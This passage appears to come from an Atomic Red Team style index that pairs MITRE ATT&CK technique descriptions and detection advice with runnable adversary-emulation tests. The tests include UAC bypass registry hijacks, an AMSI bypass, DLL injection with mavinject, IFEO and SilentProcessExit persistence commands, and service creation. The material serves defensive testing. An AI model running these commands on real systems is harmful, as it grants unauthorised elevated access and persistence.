description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
7 User Account Control. Retrieved July 26, 2016.'
url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
- source_name: MSDN COM Elevation
description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
26, 2016.
url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
- source_name: Davidson Windows
description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
12, 2014.
url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
- source_name: Github UACMe
description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
url: https://github.com/hfiref0x/UACME
- source_name: enigma0x3 Fileless UAC Bypass
description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
and Registry Hijacking. Retrieved December 27, 2016.
url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
- source_name: Fortinet Fareit
description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
- source_name: SANS UAC Bypass
description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
3, 2016.
url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
- source_name: enigma0x3 sdclt app paths
description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
May 25, 2017.
url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
- source_name: enigma0x3 sdclt bypass
description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
Retrieved May 25, 2017.
url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
x_mitre_defense_bypassed:
- Windows User Account Control
identifier: T1088
atomic_tests:
- name: Bypass UAC using Event Viewer
description: 'Bypasses User Account Control using Event Viewer and a relevant
Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
command: |
reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
cmd.exe /c eventvwr.msc
- name: Bypass UAC using Event Viewer - PowerShell
description: 'PowerShell code to bypass User Account Control using Event Viewer
and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
command: |
New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\eventvwr.msc"
- name: Bypass UAC using Fodhelper
description: 'Bypasses User Account Control using the Windows 10 Features on
Demand Helper (fodhelper.exe). Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: command_prompt
elevation_required: false
command: |
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute"
fodhelper.exe
- name: Bypass UAC using Fodhelper - PowerShell
description: 'PowerShell code to bypass User Account Control using the Windows
10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
'
supported_platforms:
- windows
input_arguments:
executable_binary:
description: Binary to execute with UAC Bypass
type: path
default: C:\Windows\System32\cmd.exe
executor:
name: powershell
elevation_required: false
command: |
New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
T1038:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- File monitoring
- DLL monitoring
- Process monitoring
- Process command-line parameters
name: DLL Search Order Hijacking
description: "Windows systems use a common method to look for required DLLs
to load into a program. (Citation: Microsoft DLL Search) Adversaries may take
advantage of the Windows DLL search order and programs that ambiguously specify
DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform
DLL preloading, also called binary planting attacks, (Citation: OWASP Binary
Planting) by placing a malicious DLL with the same name as an ambiguously
specified DLL in a location that Windows searches before the legitimate DLL.
Often this location is the current working directory of the program. Remote
DLL preloading attacks occur when a program sets its current directory to
a remote location such as a Web share before loading a DLL. (Citation: Microsoft
2269637) Adversaries may use this behavior to cause the program to load a
malicious DLL. \n\nAdversaries may also directly modify the way a program
loads DLLs by replacing an existing DLL or modifying a .manifest or .local
redirection file, directory, or junction to cause the program to load a different
DLL to maintain persistence or privilege escalation. (Citation: Microsoft
DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search
Order)\n\nIf a search order-vulnerable program is configured to run at a higher
privilege level, then the adversary-controlled DLL that is loaded will also
be executed at the higher level. In this case, the technique could be used
for privilege escalation from user to administrator or SYSTEM or from administrator
to SYSTEM, depending on the program.\n\nPrograms that fall victim to path
hijacking may appear to behave normally because malicious DLLs may be configured
to also load the legitimate DLLs they were meant to replace."
id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586
modified: '2019-07-24T15:07:22.266Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Ability to add a DLL, manifest file, or .local file, directory, or junction.
type: attack-pattern
x_mitre_detection: Monitor file systems for moving, renaming, replacing, or
modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared
with past behavior) that do not correlate with known software, patches, etc.,
are suspicious. Monitor DLLs loaded into a process and detect DLLs that have
the same file name but abnormal paths. Modifications to or creation of .manifest
and .local redirection files that do not correlate with software updates are
suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Stefan Kanthak
- Travis Smith, Tripwire
created: '2017-05-31T21:30:40.604Z'
x_mitre_effective_permissions:
- User
- Administrator
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1038
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1038
- source_name: capec
external_id: CAPEC-471
url: https://capec.mitre.org/data/definitions/471.html
- source_name: Microsoft DLL Search
description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved
November 30, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682586
- source_name: OWASP Binary Planting
description: OWASP. (2013, January 30). Binary planting. Retrieved June 7,
2016.
url: https://www.owasp.org/index.php/Binary_planting
- source_name: Microsoft 2269637
description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637
Released. Retrieved December 5, 2014.
url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx
- source_name: Microsoft DLL Redirection
description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved
December 5, 2014.
url: http://msdn.microsoft.com/en-US/library/ms682600
- source_name: Microsoft Manifests
description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.
url: https://msdn.microsoft.com/en-US/library/aa375365
- source_name: Mandiant Search Order
description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited.
Retrieved December 5, 2014.
url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/
x_mitre_defense_bypassed:
- Process whitelisting
identifier: T1038
atomic_tests:
- name: DLL Search Order Hijacking - amsi.dll
description: |
Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version
of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
cmd.exe /k %APPDATA%\updater.exe
T1179:
technique:
x_mitre_data_sources:
- API monitoring
- Binary file metadata
- DLL monitoring
- Loaded DLLs
- Process monitoring
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Hooking
description: "Windows processes often leverage application programming interface
(API) functions to perform tasks that require reusable system resources. Windows
API functions are typically stored in dynamic-link libraries (DLLs) as exported
functions. \n\nHooking involves redirecting calls to these functions and can
be implemented via:\n\n* **Hooks procedures**, which intercept and execute
designated code in response to events such as messages, keystrokes, and mouse
inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection
July 2017)\n* **Import address table (IAT) hooking**, which use modifications
to a process’s IAT, where pointers to imported API functions are stored. (Citation:
Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks
Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**,
which overwrites the first bytes in an API function to redirect code flow.
(Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge
Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar
to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries
may use hooking to load and execute malicious code within the context of another
process, masking the execution while also allowing access to the process's
memory and possibly elevated privileges. Installing hooking mechanisms may
also provide Persistence via continuous invocation when the functions are
called through normal use.\n\nMalicious hooking mechanisms may also capture
API calls that include parameters that reveal user authentication credentials
for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept
2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s
to conceal files, processes, Registry keys, and other objects in order to
hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)"
id: attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)
Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.
Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)
Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2018-01-16T16:13:52.465Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: credential-access
external_references:
- external_id: T1179
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1179
- source_name: Microsoft Hook Overview
description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Adlice Software IAT Hooks Oct 2014
description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
Retrieved December 12, 2017.'
url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
- source_name: MWRInfoSecurity Dynamic Hooking 2015
description: 'Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User
Mode. Retrieved December 20, 2017.'
url: https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/
- source_name: HighTech Bridge Inline Hooking Sept 2011
description: Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved
December 12, 2017.
url: https://www.exploit-db.com/docs/17802.pdf
- source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
Retrieved December 18, 2017.
- source_name: Symantec Windows Rootkits
description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
21, 2017.
url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
- source_name: Volatility Detecting Hooks Sept 2012
description: Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware
Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.
url: https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html
- source_name: PreKageo Winhook Jul 2011
description: Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.
url: https://github.com/prekageo/winhook
- source_name: Jay GetHooks Sept 2011
description: Satiro, J. (2011, September 14). GetHooks. Retrieved December
12, 2017.
url: https://github.com/jay/gethooks
- source_name: Zairon Hooking Dec 2006
description: Felici, M. (2006, December 6). Any application-defined hook procedure
on my machine?. Retrieved December 12, 2017.
url: https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/
- source_name: EyeofRa Detecting Hooking June 2017
description: 'Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense
against user-land. Retrieved December 12, 2017.'
url: https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/
- source_name: GMER Rootkits
description: GMER. (n.d.). GMER. Retrieved December 12, 2017.
url: http://www.gmer.net/
- source_name: Microsoft Process Snapshot
description: Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved
December 12, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx
- source_name: StackExchange Hooks Jul 2012
description: Stack Exchange - Security. (2012, July 31). What are the methods
to find hooked functions and APIs?. Retrieved December 12, 2017.
url: https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis
modified: '2019-04-03T15:02:18.662Z'
identifier: T1179
atomic_tests:
- name: Hook PowerShell TLS Encrypt/Decrypt Messages
description: 'Hooks functions in PowerShell to read TLS Communications
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Dll To Inject
type: Path
default: C:\AtomicRedTeam\atomics\T1179\bin\T1179x64.dll
server_name:
description: TLS Server To Test Get Request
type: Url
default: https://www.example.com
executor:
name: powershell
elevation_required: true
command: |
mavinject $pid /INJECTRUNNING #{file_name}
curl #{server_name}
T1183:
technique:
x_mitre_data_sources:
- Process monitoring
- Windows Registry
- Windows event logs
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Image File Execution Options Injection
description: |-
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)
IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)
An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
* reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.
Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)
id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: defense-evasion
x_mitre_detection: |-
Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)
Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Oddvar Moe, @oddvarmoe
created: '2018-01-16T16:13:52.465Z'
modified: '2018-10-31T13:45:13.024Z'
external_references:
- external_id: T1183
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1183
- description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO).
Retrieved December 18, 2017.
source_name: Microsoft Dev Blog IFEO Mar 2010
url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/
- description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December
18, 2017.
source_name: Microsoft GFlags Mar 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview
- description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description.
Retrieved December 18, 2017.
source_name: FSecure Hupigon
url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml
- description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December
18, 2017.
source_name: Symantec Ushedix June 2008
url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2
- description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent
Process Exit. Retrieved June 27, 2018.
source_name: Microsoft Silent Process Exit NOV 2017
url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit
- description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image
File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.
source_name: Oddvar Moe IFEO APR 2018
url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
- description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
source_name: Endgame Process Injection July 2017
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
x_mitre_defense_bypassed:
- Autoruns Analysis
identifier: T1183
atomic_tests:
- name: IFEO Add Debugger
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: winword.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}"
'
- name: IFEO Global Flags
description: 'Leverage Global Flags Settings
'
supported_platforms:
- windows
input_arguments:
target_binary:
description: Binary To Attach To
type: Path
default: notepad.exe
payload_binary:
description: Binary To Execute
type: Path
default: cmd.exe
executor:
name: command_prompt
elevation_required: true
command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}"
/v ReportingMode /t REG_DWORD /d 1 REG ADD "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess
/d "#{payload_binary}"
'
T1160:
technique:
x_mitre_permissions_required:
- Administrator
x_mitre_data_sources:
- Process monitoring
- File monitoring
name: Launch Daemon
description: "Per Apple’s developer documentation, when macOS and OS X boot
up, launchd is run to finish system initialization. This process loads the
parameters for each launch-on-demand system-level daemon from the property
list (plist) files found in /System/Library/LaunchDaemons and
/Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons).
These LaunchDaemons have property list files which point to the executables
that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries
may install a new launch daemon that can be configured to execute at startup
by using launchd or launchctl to load a plist into the appropriate directories
(Citation: OSX Malware Detection). The daemon name may be disguised by using
a name from a related operating system or benign software (Citation: WireLurker).
Launch Daemons may be created with administrator privileges, but are executed
under root privileges, so an adversary may also use a service to escalate
privileges from administrator to root.\n \nThe plist file permissions must
be root:wheel, but the script or program that it points to has no such requirement.
So, it is possible for poor configurations to allow an adversary to modify
a current Launch Daemon’s executable and gain persistence or Privilege Escalation."
id: attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor Launch Daemon creation through additional plist files
and utilities such as Objective-See's Knock Knock application.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
x_mitre_effective_permissions:
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1160
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1160
- source_name: AppleDocs Launch Agent Daemons
description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
July 10, 2017.
url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
- source_name: Methods of Mac Malware Persistence
description: Patrick Wardle. (2014, September). Methods of Malware Persistence
on Mac OS X. Retrieved July 5, 2017.
url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
- source_name: OSX Malware Detection
description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
- source_name: WireLurker
description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
Retrieved July 10, 2017.'
url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
modified: '2019-07-18T15:26:40.592Z'
identifier: T1160
atomic_tests:
- name: Launch Daemon
description: 'Utilize LaunchDaemon to launch `Hello World`
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Place the following file (com.example.hello) in /System/Library/LaunchDaemons or /Library/LaunchDaemons
2.
Label
com.example.hello
ProgramArguments
hello
world
KeepAlive
T1050:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
x_mitre_data_sources:
- Windows Registry
- Process monitoring
- Process command-line parameters
- Windows event logs
name: New Service
description: "When operating systems boot up, they can start programs or applications
called services that perform background system functions. (Citation: TechNet
Services) A service's configuration information, including the file path to
the service's executable, is stored in the Windows Registry. \n\nAdversaries
may install a new service that can be configured to execute at startup by
using utilities to interact with services or by directly modifying the Registry.
The service name may be disguised by using a name from a related operating
system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036).
Services may be created with administrator privileges but are executed under
SYSTEM privileges, so an adversary may also use a service to escalate privileges
from administrator to SYSTEM. Adversaries may also directly start services
through [Service Execution](https://attack.mitre.org/techniques/T1035)."
id: attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Pedro Harrison
created: '2017-05-31T21:30:45.613Z'
x_mitre_effective_permissions:
- SYSTEM
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: persistence
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1050
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1050
- source_name: capec
external_id: CAPEC-550
url: https://capec.mitre.org/data/definitions/550.html
- source_name: TechNet Services
description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
url: https://technet.microsoft.com/en-us/library/cc772408.aspx
- source_name: Microsoft 4697 APR 2017
description: 'Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service
was installed in the system. Retrieved August 7, 2018.'
url: https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697
- source_name: Microsoft Windows Event Forwarding FEB 2018
description: Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding
to help with intrusion detection. Retrieved August 7, 2018.
url: https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection
- source_name: TechNet Autoruns
description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
Retrieved June 6, 2016.
url: https://technet.microsoft.com/en-us/sysinternals/bb963902
modified: '2019-07-18T16:43:25.906Z'
identifier: T1050
atomic_tests:
- name: Service Installation
description: 'Installs A Local Service
'
supported_platforms:
- windows
input_arguments:
binary_path:
description: Name of the service binary, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe
service_name:
description: Name of the Service
type: String
default: AtomicTestService
executor:
name: command_prompt
elevation_required: true
command: |
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}
sc.exe stop #{service_name}
sc.exe delete #{service_name}
- name: Service Installation PowerShell Installs A Local Service using PowerShell
description: 'Installs A Local Service via PowerShell
'
supported_platforms:
- windows
input_arguments:
binary_path:
description: Name of the service binary, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1050\bin\AtomicService.exe
service_name:
description: Name of the Service
type: String
default: AtomicTestService
executor:
name: powershell
elevation_required: true
command: |
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"
Stop-Service -Name "#{service_name}"
(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()
T1150:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Plist Modification
description: "Property list (plist) files contain all of the information that
macOS and OS X uses to configure applications and services. These files are
UTF-8 encoded and formatted like XML documents via a series of keys surrounded
by < >. They detail when programs should execute, file paths to the executables,
program arguments, required OS permissions, and many others. plists are located
in certain locations depending on their purpose such as /Library/Preferences
(which execute with elevated privileges) and ~/Library/Preferences
(which execute with a user's privileges). \nAdversaries can modify these plist
files to point to their own code, can use them to execute their code in the
context of another user, bypass whitelisting procedures, or even use them
as a persistence mechanism. (Citation: Sofacy Komplex Trojan)"
id: attack-pattern--06780952-177c-4247-b978-79c357fb311f
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
